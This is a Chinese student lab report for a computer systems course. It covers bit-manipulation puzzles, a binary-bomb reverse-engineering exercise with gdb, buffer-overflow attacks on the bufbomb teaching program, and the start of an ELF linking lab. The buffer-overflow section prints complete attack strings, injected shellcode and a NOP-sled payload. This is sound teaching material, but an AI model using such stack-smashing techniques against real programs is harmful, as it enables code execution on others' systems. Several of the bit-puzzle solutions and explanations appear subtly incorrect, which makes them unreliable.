版權說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權,請進行舉報或認領
文檔簡介
計算機系統(tǒng)基礎實驗總結計算機學院計算機學院計算機類院系:學號:姓名:成績:LAB1實驗概述Lab1數(shù)據(jù)表示,需要我們在32位Linux虛擬機上使用有限種類的運算符(按位取反,邏輯與,或,非等),并盡可能的精簡步驟來補充bits.c中的函數(shù)內(nèi)容,以實現(xiàn)規(guī)定的函數(shù)功能。函數(shù)補充完成后可輸入特定指令提交評閱。bits.c中的函數(shù)分為位操作函數(shù),補碼運算函數(shù),浮點數(shù)表示函數(shù)幾類,完成實驗以掌握各種數(shù)據(jù)類型在計算機中的表示方法,與C語言數(shù)據(jù)類型的位級表示及操作。實驗收獲總結在對lab1中十五個位運算函數(shù)的補充過程中,我初步了解了Linux系統(tǒng)的一些命令和操作,也加深了位的表示,二進制補碼運算,浮點數(shù)IEEE754表示等方面的理解。這次試驗對我的理論課學習有很大幫助,更引起了我在學習理論與實驗課的興趣。在之后的實驗和學習中我希望能學習到更多的有關計算機系統(tǒng)的知識并加以實踐應用。具體題目分析bitOr(只利用~和&操作,將數(shù)x和y相或)括號內(nèi)為題目翻譯思路:由德摩根定律可知,取或,等價于將兩個數(shù)的取反值~x,~y相與后,再取反。代碼:intbitOr(intx,inty){return~((~x)&(~y));}evenBits(返回值為所有位均是1的數(shù))思路:所有位均為一,即0x55555555,即將0x55左移八位,再左移十六位。代碼:intevenBits(void){inta=0x55<<8|0x55;returna<<16|a;}isTmin(判斷一個數(shù)x是否是int型最小值
)思路:int型最小值(補碼是0x80000000)有性質(zhì):tmin+tmin=0.所以tmin=~tmin+1.但是要特判去掉同樣滿足的0。代碼:intisTmin(intx){return!(x+x)&!!(x);}4.allEvenBits(判斷一個二進制數(shù)偶數(shù)位是否全為1)思路:若一個二進制數(shù)偶數(shù)位為1,奇數(shù)位為0,則這個數(shù)為0x55555555。先將x=x&0x55555555,將這個數(shù)奇數(shù)為變?yōu)?,之后x^0x55555555判斷該數(shù)是否為0x55555555。代碼:intallEvenBits(intx){inty=0x55;y|=y<<8;y|=y<<16;x&=y;return!(x^y);}5.anyEvenBit(判斷一個二進制數(shù)任意偶數(shù)位是否有1)思路:判斷偶數(shù)位是否含有1,只需要將所有偶數(shù)位與1相與,奇數(shù)位與0相與。若結果為0,則偶數(shù)位沒有1。代碼:intanyEvenBit(intx){intmask=0x55|0x55<<8;mask=mask|mask<<16;return!!(x&mask);}6.fitsBits(判斷x是否能用n位補碼表示)思路:判斷其[n+1,3]區(qū)間上的數(shù)是否全為1,或0,即可。所有數(shù)位都為0,即判斷!x是否為1。判斷一個數(shù)都為1,只需要將這個數(shù)取反~x,判斷取反之后是否為0便可。代碼:intfitsBits(intx,intn){inta=n+31;intb=x>>31;x=x>>a;x=x^b;return!x;}7.float_neg(浮點數(shù)取反)思路:取反即可,但需判斷是否為NaN(if判斷)。若是NaN數(shù),返回原值,否則返回原數(shù)符號位取反對應的數(shù)代碼:unsignedfloat_neg(unsigneduf){inttmp=0,ret=0;ret=uf^0x80000000;//signreversetmp=uf&0x7fffffff;//if(tmp>0x7f800000)//NaNret=uf;returnret;}8.isAsciiDigit(判斷x是否可以是表示數(shù)字的Ascii碼)思路:判斷x是否滿足0x30<=x<=0x39,若滿足,返回1。代碼:intisAsciiDigit(intx){intis_upper=!((x&~0x0F)^0x30);intis_lower=!((x&0x0F)+0x06&0xF0);returnis_upper&is_lower;}9.isLess(判斷x<y)思路:x和y的符號位不同:如果x的符號位為1則滿足;x和y的符號位相同:如果y-x的符號位為0則滿足(此時可能相等)。代碼:intisLess(intx,inty){intnot_y=~y;return((((x+not_y+1)&(x^not_y))|(x¬_y))>>0x1F)&1;}10.multFiveEighths(計算x*5/8)思路:x左移二位加x即為乘五,再右移三位即為除以八。代碼:intmultFiveEighths(intx){x=x+(x<<2);return(x+(x>>31&7))>>3;}11.replaceByte(用字節(jié)數(shù)c來代替n中第x字節(jié)數(shù))思路:首先去除x的第n字節(jié)數(shù),與~(0xff<<(n*8))相與,然后與c<<(n*8)相或。代碼:intreplaceByte(intx,intn,intc){intmask_=0xff<<(n<<3);c<<=(n<<3);return(x&(~mask_))|c;}12.bitParity(若x中含有奇數(shù)個0返回1,偶數(shù)個0返回0)思路:偶數(shù)與偶數(shù)之差為偶數(shù),偶數(shù)與奇數(shù)之差為奇數(shù)。所以32位二進制數(shù)中1和0的個數(shù)與奇偶性相同。將32位二進制中所有數(shù)字進行異或計算。若有偶數(shù)個1則異或結果為0,反之。代碼:intbitParity(intx){x^=x>>16;x^=x>>8;x^=x>>4;x^=x>>2;x^=x>>1;returnx&1;}13.float_half思路:先判斷是否為NaN數(shù)階碼只有最后一位為1,除2之后要變?yōu)榉且?guī)格化數(shù),按非規(guī)格化數(shù)處理,即處理階碼下溢情況階碼全0,那要么是0,要么是非規(guī)格化數(shù),直接右移一位同時保留符號位規(guī)格化數(shù),正常處理,階碼減一代碼:unsignedfloat_half(unsigneduf){unsigneds=uf&0x80000000;unsignedexp=uf&0x7f800000;intlsb=((uf&3)==3);if(exp==0x7f800000)returnuf;if(exp<=0x800000)returns|(((uf^s)+lsb)>>1);if(exp)return(uf-0x800000);}14.ilog2思路:以第一步為例,x>>16并且兩次邏輯非,那么若x>>16大于零則得到1,說明對應log(x)>=4,于是1<<4代碼:intilog2(intx){intbitsNumber=0;bitsNumber=(!!(x>>16))<<4;bitsNumber=bitsNumber+((!!(x>>(bitsNumber+8)))<<3);bitsNumber=bitsNumber+((!!(x>>(bitsNumber+4)))<<2);bitsNumber=bitsNumber+((!!(x>>(bitsNumber+2)))<<1);bitsNumber=bitsNumber+(!!(x>>(bitsNumber+1)));returnbitsNumber;}15.sm2tc(給出原碼表示x,返回其對應的補碼表示)思路:右移31位,將結果存為t。如果原數(shù)為正數(shù),那么t此時全為0。而正數(shù)的補碼不用改變;否則,t全為1(負數(shù)右移補1)。負數(shù)補碼,取反+1,符號位變?yōu)?。代碼:intsm2tc(intx){intsign=x>>31;return(x^sign)+(((1<<31)+1)&sign);}Lab1完成?。?!LAB2實驗概述Lab2二進制炸彈需要我們在32位linux虛擬機上用AT&T匯編語言在包含6個階段和一個秘密階段的可執(zhí)行程序BinaryBombs中完成六個階段的實驗。各階段要求分別輸入一個字符串,若輸入符合程序預期則通過,否則爆炸,爆炸會扣除一定分數(shù)(若擔心爆炸次數(shù)過多,可在爆炸函數(shù)前設斷點,防止爆炸)。通過將可執(zhí)行程序反匯編并用動態(tài)分析調(diào)試的方法可以得知匯編代碼的具體功能,并得出一個字符串作為答案。得出答案后將答案逐行輸入文件中,后可輸入特定指令提交評閱。實驗收獲總結在對lab2的分析調(diào)試中我對機器級程序原理的理解,以及通用調(diào)試器和逆向工程技能得到了提升,掌握了基本的gdb調(diào)試命令和ddd的一些使用方法,AT&T語言的解讀能力也有了顯著提升。完成了lab2的六個部分,計算機基礎實驗課程也已完成了一半,我對課程的學習也進入了更深層次的階段,對接下來的部分有了期待和自信。具體題目分析phase_1
本題分析:首先查看bomb.c,了解大概的程序。再輸入命令“objdump–dbomb>asm.txt”,對bomb進行反匯編并將匯編代碼輸出到asm.txt中打開反匯編代碼,找到phase_1。根據(jù)strings_not_equal函數(shù)可以看出,該函數(shù)為判斷字符串是否相等的函數(shù)。如果輸入的字符串和%eax里面的字符不相同,則該炸彈爆炸,所以我們通過執(zhí)行:gdbbomb,查看0x804a2e0處存儲的數(shù)據(jù)內(nèi)容。用x/1s0x804a2e0查看其中的數(shù)據(jù),即可得到該階段的密碼。具體操作如圖所示可得出答案為:“WehavetostandwithourNorthKoreanallies.”新建一個文本文件,輸入第一關的答案運行bomb,提交phase_1答案,正確。phase_2本題分析首先分析反匯編代碼,發(fā)現(xiàn)8048c00: e8bf070000 call80493c4<read_six_numbers>可知本題要求輸入六個數(shù)字組成的字符串。由8048c08: 837ddc00 cmpl$0x0,-0x24(%ebp)8048c0c: 7905 jns8048c13<phase_2+0x2c>可知第一個數(shù)要大于零,由8048c13: bb01000000 mov$0x1,%ebx8048c18: 89d8 mov%ebx,%eax8048c1a: 03449dd8 add-0x28(%ebp,%ebx,4),%eax8048c1e: 39449ddc cmp%eax,-0x24(%ebp,%ebx,4)可知第二個數(shù)要比第一個數(shù)大一,否則爆炸,照此繼續(xù)分析,可知第三個數(shù)比第二個數(shù)大二,第四個數(shù)比前一個數(shù)大三以此類推,可得六個數(shù)。故答案為:“12471116”在文本文件的下一行輸入本關的答案運行bomb,提交phase_2答案,正確。phase_3首先分析反匯編代碼由8048c63: 50 push%eax8048c64: 6836a30408 push$0x804a336查看本題要求輸入的數(shù)據(jù)類型為“數(shù)字字符數(shù)字”由8048c7e: 837dec07 cmpl$0x7,-0x14(%ebp)8048c82: 0f87ef000000 ja8048d77<phase_3+0x130>可得的第一個數(shù)的要求是小于7,大于7爆炸下面在調(diào)試時查看8048c8b: ff248540a30408 jmp*0x804a340(,%eax,4)發(fā)現(xiàn)是一個switch語句,對應著第一個輸入的數(shù)(0-7),如圖若第一個數(shù)為0,則跳到0x8048c928048c92: b873000000 mov$0x73,%eax8048c97: 817df0b3000000 cmpl$0xb3,-0x10(%ebp)8048c9e: 0f84dd000000 je8048d81<phase_3+0x13a>8048ca4: e8db060000 call8049384<explode_bomb>分析可知若滿足條件跳轉到8048d81,否則爆炸8048d81: 3a45eb cmp-0x15(%ebp),%al8048d84: 7405 je8048d8b<phase_3+0x144>8048d86: e8f9050000 call8049384<explode_bomb>分析可得第二個字符的ascll碼值同理轉到8048d8b8048d8b: 8b45f4 mov-0xc(%ebp),%eax8048d8e: 65330514000000 xor%gs:0x14,%eax8048d95: 7405 je8048d9c<phase_3+0x155>8048d97: e834faffff call80487d0<__stack_chk_fail@plt>本題結束,得知若第一個數(shù)輸入0,下兩個是s179輸入其他小于7的數(shù)也可得出正確答案,分析方法同理。若擔心分析有誤導致爆炸次數(shù)過多,可在爆炸函數(shù)前設斷點,防止爆炸。故答案為:“0s179”在文本文件的下一行輸入本關的答案運行bomb,提交phase_3答案,正確。phase_4在分析函數(shù)func4之前,先查看%eax里面的值,同樣可以看出,該階段的密碼仍為兩個int類型的數(shù)據(jù),若不是兩個數(shù),爆炸。8048e6c: 50 push%eax8048e6d: 68b5a50408 push$0x804a5b5如圖在分析phase_4可知:第一個輸入的數(shù)作為func4的參數(shù)。接下來分析什么參數(shù)答案能使函數(shù)跳出遞歸即可由分析函數(shù)內(nèi)容:08048d9e<func4>:8048d9e: 55 push%ebp8048d9f: 89e5 mov%esp,%ebp8048da1: 57 push%edi8048da2: 56 push%esi8048da3: 53 push%ebx……………….和嘗試運行(采取防爆炸措施)可知當輸入第一個字符為5,第二個為15時函數(shù)跳出遞歸故答案為:“5115”在文本文件的下一行輸入本關的答案運行bomb,提交phase_4答案,正確。phase_5先查看%eax里面的值,同樣可以看出,該階段的密碼仍為兩個int類型的數(shù)據(jù),若不是兩個數(shù),爆炸。(和大多數(shù)人的不一樣)經(jīng)分析8048e7a: 83c410 add$0x10,%esp8048e7d: 83f801 cmp$0x1,%eax8048e80: 7f05 jg8048e87<phase_5+0x33>8048e82: e8fd040000 call8049384<explode_bomb>8048e87: 8b45ec mov-0x14(%ebp),%eax8048e8a: 83e00f and$0xf,%eax8048e8d: 8945ec mov%eax,-0x14(%ebp)8048e90: 83f80f cmp$0xf,%eax8048e93: 742c je8048ec1<phase_5+0x6d>8048e95: b900000000 mov$0x0,%ecx8048e9a: ba00000000 mov$0x0,%edx8048e9f: 83c201 add$0x1,%edx8048ea2: 8b048560a30408 mov0x804a360(,%eax,4),%eax8048ea9: 01c1 add%eax,%ecx8048eab: 83f80f cmp$0xf,%eax8048eae: 75ef jne8048e9f<phase_5+0x4b>8048eb0: c745ec0f000000 movl$0xf,-0x14(%ebp)8048eb7: 83fa0f cmp$0xf,%edx8048eba: 7505 jne8048ec1<phase_5+0x6d>8048ebc: 3b4df0 cmp-0x10(%ebp),%ecx由此可知,本題應該是一個循環(huán),這道題包含一個數(shù)組,每次循環(huán)取出數(shù)組中的一個值累加存儲到%ecx中,最后一次取出的值應該是15,接著把%edx與15作比較,不相等則爆炸,反之,執(zhí)行后續(xù)代碼,由此可見循環(huán)需要進行15次,加上輸入?yún)?shù)的時候進行了一次循環(huán),所以,總共取了16次數(shù)組的值。那么我們打印出數(shù)組連續(xù)的16位(我試了多打出幾位,發(fā)現(xiàn)溢出了,說明取16次值是正確的)只需要看前16個數(shù)又因為第二個數(shù)為在數(shù)組里取到的值的累加值,所以數(shù)2為:12+3+7+11+13+9+4+8+0+10+1+2+14+6+15=115嘗試答案“5115”在文本文件的下一行輸入本關的答案運行bomb,提交phase_5答案,正確phase_6首先看代碼,發(fā)現(xiàn)出現(xiàn)過的readsixnumber函數(shù)8048ef3: e8cc040000 call80493c4<read_six_numbers>可知本題要求輸入六個數(shù)。由8048f04: 83e801 sub$0x1,%eax8048f07: 83f805 cmp$0x5,%eax8048f0a: 7605 jbe8048f11<phase_6+0x38>8048f0c: e873040000 call8049384<explode_bomb>8048f11: 83c601 add$0x1,%esi8048f14: 83fe06 cmp$0x6,%esi8048f17: 7433 je8048f4c<phase_6+0x73>這一部分代碼可知參數(shù)要小于等于6,第二個數(shù)和第一個數(shù)不相同,第三個數(shù)和第一,二個數(shù)不相同……可以推出讀取到的六個數(shù)之間不相等且都小于等于6。也就是說這六個數(shù)是1,2,3,4,5,6的一種排列。接下來確定它們的順序。接著查看后續(xù)代碼,分析以后可以得到,此段代碼主要實現(xiàn)把一個單鏈表的節(jié)點信息根據(jù)輸入?yún)?shù)的值提取出來存儲,也就是按照一定的順序?qū)π碌逆湵淼牡谝粋€節(jié)點的值和第二個結點的值作了比較,得出第一個節(jié)點的值大于等于第二個節(jié)點的值)把鏈表各個節(jié)點的地址存儲在棧幀中,接下來的匯編代碼則是根據(jù)上一步得到的降序排序得到的節(jié)點地址信息把鏈表恢復的這么一個過程。所以,只要能得到存儲的這個鏈表存儲的數(shù)據(jù)得出即可以推出輸入的六個參數(shù)的順序。操作如圖:將第一個數(shù)按降序排列得到順序624315故答案為:“624315”在文本文件的下一行輸入本關的答案運行bomb,提交phase_6答案,正確。六個題均完成后答案文本為Lab2完成?。?!LAB3實驗概述Lab3緩沖區(qū)溢出攻擊需要我們在32位linux虛擬機上用AT&T匯編語言對五個目標程序?qū)嵤┚彌_區(qū)溢出攻擊,通過造成緩沖區(qū)溢出來破壞目標程序的棧幀結構,繼而執(zhí)行一些原來程序中沒有的行為。lab3要我們修改一個正在運行程序的stack以達到預期的目的。具體的修改方式是:程序定義了一個局部C風格字符串變量,注意局部變量是放在stack上面的,所以當初始化這個字符串為用戶輸入,而又沒有邊界檢查的話,就會緩沖區(qū)溢出,那么就會破壞這個函數(shù)棧,繼而執(zhí)行一些原本程序沒有的東西。這關需要我們使用objdump來反匯編目標程序,使用gdb單步跟蹤調(diào)試機器代碼,查看相關內(nèi)存及寄存器內(nèi)容,也需要我們掌握簡單的IA32匯編程序編寫方法。得出答案后可輸入特定指令提交評閱。實驗收獲總結在做目的位構造相應的攻擊字符串,對沒有緩沖區(qū)溢出保護的目標程序?qū)嵤┚彌_區(qū)溢出攻擊從而跳轉到新的進程的lab3實驗中,我用objdump來反匯編目標程序,使用gdb單步跟蹤調(diào)試機器代碼,查看相關內(nèi)存及寄存器內(nèi)容來完成題目,在此過程中,我加深了對IA-32函數(shù)調(diào)用規(guī)則和棧幀結構的理解,也對攻擊簡單的程序的方法有了一定的了解與認識。也意識到要讓自己的代碼避免緩沖區(qū)溢出的問題。課程已完成多半,在實踐的過程中我對理論課程第三單元的學習也進入了更深層次的理解,也對最后的一部分實驗有了期待和自信。具體題目分析題目1:Smoke1.攻擊原理:利用getbuf函數(shù)不檢查所讀取的字符串的長度的漏洞來對可執(zhí)行程序bufbomb進行攻擊。攻擊字符串把smoke函數(shù)的地址寫入返回地址的位置,當從getbuf函數(shù)返回時,就會調(diào)用smoke函數(shù)。2.思路做法:首先用objdump指令反匯編得到所需要的bufbomb的匯編語言文本。由80491c7: 8d45d8 lea-0x28(%ebp),%eax80491ca: 50 push%eax80491cb: e8d6faffff call8048ca6<Gets>80491d0: b801000000 mov$0x1,%eax可知位于<0x80491c7>地址處代碼為預讀的字符串在棧幀創(chuàng)建了0x28)字節(jié)的空間。為了覆蓋被存在返回地址上的值,我們需要讀入超過系統(tǒng)默認40字節(jié)大小的字符串。下面要構造0x28+4(ebp)+4(返回地址)=48字節(jié)長度的字節(jié)碼就可以將返回地址覆蓋,最后四個字節(jié)的內(nèi)容放smoke函數(shù)的地址,前面44個字節(jié)任意。在bufbomb的反匯編代碼中可找到smoke函數(shù),可知其地址為de8b0408。所以答案就是0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de8b0408(小端法)輸入指令提交,正確。題目2:Fizz攻擊原理:構造攻擊字符串作為目標程序輸入,造成緩沖區(qū)溢出,使bufbomb調(diào)用fizz函數(shù),并將cookie值作為參數(shù)傳遞給在bufbomb中已經(jīng)定義的fizz函數(shù)。和上一題的區(qū)別是函數(shù)fizz()且該函數(shù)有一個參數(shù)(每個人不同的cookie)。2.思路做法:由之前反匯編的匯編代碼可以找到fizz函數(shù)的地址:08048c06<fizz>:由fizz中的8048c0c: 8b4508 mov0x8(%ebp),%eax8048c0f: 3b0540d10408 cmp0x804d140,%eax8048c15: 7521 jne8048c38<fizz+0x32>可知其中0x8(%ebp)就是函數(shù)的參數(shù),內(nèi)存地址0x804d140就是放cookie的位置。同上一關一樣,先用fizz函數(shù)地址覆蓋掉getbuf返回地址,并且要將fizz函數(shù)的返回地址覆蓋掉,再用cookie覆蓋掉上面的參數(shù)。這樣就可以跳轉到fizz函數(shù),并且在跳轉后自己取到cookie作為參數(shù),fizz函數(shù)的返回地址可以用任意四個字節(jié)的數(shù)覆蓋。故答案為0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000068c040800000000a760a64f輸入指令提交,正確。題目3:Bang攻擊原理構造攻擊字符串,造成緩沖區(qū)溢出,使目標程序能夠執(zhí)行bang函數(shù);并且要篡改全局變量global_value為cookie值。但全局變量并不存放在棧中,前面兩題的方法只能修改棧中的內(nèi)容,無法修改全局變量的內(nèi)容。故需要先構建一段惡意代碼,修改全局變量的值,首先執(zhí)行這段惡意代碼,然后再執(zhí)行bang函數(shù)。思路做法先找到全局變量的位置:在bang函數(shù)里看到有兩個內(nèi)存地址,正好和源程序里的判斷相等對應8048c5b: a138d10408 mov0x804d138,%eax8048c60: 3b0540d10408 cmp0x804d140,%eax判斷0x804d138和0x804d140那一個是全局變量?在getbuf函數(shù)設斷點,運行,查看一下兩個地址的值可知0x804d138是全局變量。于是惡意匯編代碼如下:movl$0x4fa660a7,0x804d138pushl$0x08048c55ret將惡意代碼保存到擴展名為.s的匯編代碼文件,然后用gcc–m32–c編譯成.o可重定位目標文件,然后objdump–d反編譯出機器碼。操作如圖還需要找到輸入字符串存放的位置作為第一次ret指令的目標位置,用gdb調(diào)試,在callgets之前設置斷點來查看eax寄存器中的內(nèi)容,查看eax的值,分析getbuf()申請的緩沖區(qū)首地址為<0x55683aa8>。將指令代碼抄入攻擊文件,故答案為c70538d10408a760a64f68558c0408c300000000000000000000000000000000000000000000000000000000a83a6855輸入指令提交,正確。題目四:Boom攻擊原理構造攻擊字符串,使得getbuf都能將正確的cookie值返回給test函數(shù),。設置返回值也就是更改eax的值,可以用mov指令設置eax存的為cookie值。更改完要進入test函數(shù)繼續(xù)執(zhí)行下面的指令將這個地址壓棧。思路做法首先構造攻擊字符串,使得getbuf都能將正確的cookie值返回給test函數(shù),而不是返回值1。設置返回值也就是更改eax的值,可以用mov指令設置eax存的為cookie值。由8048d6b: e851040000 call80491c1<getbuf>8048d70: 89c3 mov%eax,%ebx可以知道在test函數(shù)中getbuf()在<0x08048d6b>被執(zhí)行因此正確的跳轉地址為<0x08048d70>另外,要還原棧幀,我們必須知道在調(diào)用getbuf()之前的原始ebp的值,這里使用gdb調(diào)試來獲取,在<0x08048d6b>設置斷點,然后查看進入getbuf之前的%ebp寄存器值。故編寫代碼如下movl$0x4fa660a7,%eax//將返回值修改為cookiepush$0x08048d70//將要執(zhí)行的指令的地址壓入返回地址ret用同上一關一樣的方法:將惡意代碼保存到擴展名為.s的匯編代碼文件,然后用gcc–m32–c編譯成.o可重定位目標文件,然后objdump–d反編譯出機器碼。操作如圖,得到字節(jié)碼如下:接下來要恢復ebp的值,先得到ebp的舊值。用gdb調(diào)試:在getbuf第一行設置斷點。查看ebp的值。用這個值覆蓋ebp值。ebp值在返回地址的低方位,放在返回地址前。答案為:b8a760a64f68708d0408c30000000000000000000000000000000000000000000000000000000000f03a6855a83a6855輸入指令提交,正確。題目5Nitro攻擊原理用同一個攻擊字符串,執(zhí)行getubufn函數(shù)5次,使getbufn函數(shù)每次都把cookie值返回給testn函數(shù)。題目的棧地址是動態(tài)的,每次都不一樣,bufbomb會連續(xù)要輸入5次字符串,每次都調(diào)用getbufn(),每次的棧地址都不一樣,可以使用匯編指令nop(機器代碼:90)填充輸入字符串,這樣一來在一定范圍內(nèi)無論在哪里進入我們的攻擊程序執(zhí)行指令最終都會滑到攻擊代碼。思路做法題目的棧地址是動態(tài)的,每次都不一樣。雖然棧的初始地址不同,但會在一些范圍里浮動,所以我們需要把我們的代碼填在512字節(jié)的最后幾個字節(jié)里,并且前面全面的空間都填上nop(編碼為0x90)。ebp是隨機的,但是ebp相對esp是絕對的,根據(jù)08048dd1<testn>:8048dd1: 55 push%ebp8048dd2: 89e5 mov%esp,%ebp8048dd4: 53 push%ebx8048dd5: 83ec14 sub$0x14,%esp8048dd8: e864ffffff call8048d41<uniqueval>8048ddd: 8945f4 mov%eax,-0xc(%ebp)8048de0: e8f2030000 call80491d7<getbufn>8048de5: 89c3 mov%eax,%ebx8048de7: e855ffffff call8048d41<uniqueval>8048dec: 8b55f4 mov-0xc(%ebp),%edx8048def: 39d0 cmp%edx,%eax8048df1: 7412 je8048e05<testn+0x34>8048df3: 83ec0c sub$0xc,%esp8048df6: 68d0a10408 push$0x804a1d08048dfb: e890faffff call8048890<puts@plt>8048e00: 83c410 add$0x10,%esp8048e03: eb3c jmp8048e41<testn+0x70>8048e05: 3b1d40d10408 cmp0x804d140,%ebx8048e0b: 7521 jne8048e2e<testn+0x5d>8048e0d: 83ec04 sub$0x4,%esp得,雖然ebp的值每次變化,無法直接賦值,但是在getbufn()程序中ebp和esp值差是一定的。綜合得出惡意代碼為:movl$0x4fa660a7,%eaxlea0x28(%esp),%ebppush$0x8048de5ret用同上一關一樣的方法:將惡意代碼保存到擴展名為.s的匯編代碼文件,然后用gcc–m32–c編譯成.o可重定位目標文件,然后objdump–d反編譯出機器碼。操作如圖,得到字節(jié)碼如下:再由getbufn函數(shù):080491d7<getbufn>:80491d7: 55 push%ebp80491d8: 89e5 mov%esp,%ebp80491da: 81ec14020000 sub$0x214,%esp80491e0: 8d85f8fdffff lea-0x208(%ebp),%eax80491e6: 50 push%eax80491e7: e8bafaffff call8048ca6<Gets>80491ec: b801000000 mov$0x1,%eax要填入0x208+4+4=528字節(jié)。因為隨機,不知道程序會跳到哪里,所以把惡意代碼放到最后面,用nop滑行。所以,前面塞滿90,最后面寫上惡意代碼程序,以及最后要跳的位置。最后尋找要跳的地址:由于隨機化,buf首地址不確定。用gdb調(diào)試:如此這樣五次這樣獲得了5個buf起始地址。取最高地址0x556838e8作為返回地址,這樣就會一路滑行到惡意代碼,執(zhí)行惡意代碼。答案為:9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090b8a760a64f8d6c241868e58d0408c3e8386855輸入指令提交,正確。Lab3完成?。。AB4實驗概述Lab4ELF與鏈接:修改phase[n].o文件,使其與main..o文件鏈接,使得可執(zhí)行文件實現(xiàn)指定的行為(輸出個人的學號)。該實驗分為五個階段,每個階段考察ELF文件組成與程序鏈接過程的不同方面知識:階段1:全局變量階段,2:指令階段,3:符號解
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
- 6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025-2030年中國金屬注射成型行業(yè)營銷創(chuàng)新戰(zhàn)略制定與實施研究報告
- 2025-2030年中國洗浴中心行業(yè)商業(yè)模式創(chuàng)新戰(zhàn)略制定與實施研究報告
- 2025-2030年中國礦用車輛維修行業(yè)商業(yè)模式創(chuàng)新戰(zhàn)略制定與實施研究報告
- 2025-2030年中國錦綸工程技術服務行業(yè)商業(yè)模式創(chuàng)新戰(zhàn)略制定與實施研究報告
- 建設集團公司總經(jīng)理辦公會會議制度
- 廣西部分市2024屆高考聯(lián)合模擬考試
- 可行性研究報告修改意見
- 2023-2028年中國甲苯磺丁脲片行業(yè)市場調(diào)查研究及發(fā)展戰(zhàn)略規(guī)劃報告
- 三年級數(shù)學計算題專項練習匯編及答案集錦
- 玻璃鋼接閃桿避雷針 6米玻璃纖維路燈桿 絕緣輕質(zhì)天線桿
- 山西省呂梁市2023-2024學年高二上學期期末數(shù)學試題
- 如何訓練寶寶獨立就寢
- 血常規(guī)報告單
- 設備部年度工作總結和來年計劃
- 藥品的收貨與驗收培訓課件
- 寶寶大便觀察及護理課件
- 公司月度安全生產(chǎn)綜合檢查表
- 開題報告會記錄單
- 對話的力量:焦點解決取向在青少年輔導中的應用
- 我的家鄉(xiāng)湖北荊門介紹
- (銀川市直部門之間交流)2022事業(yè)單位工作人員調(diào)動表
評論
0/150
提交評論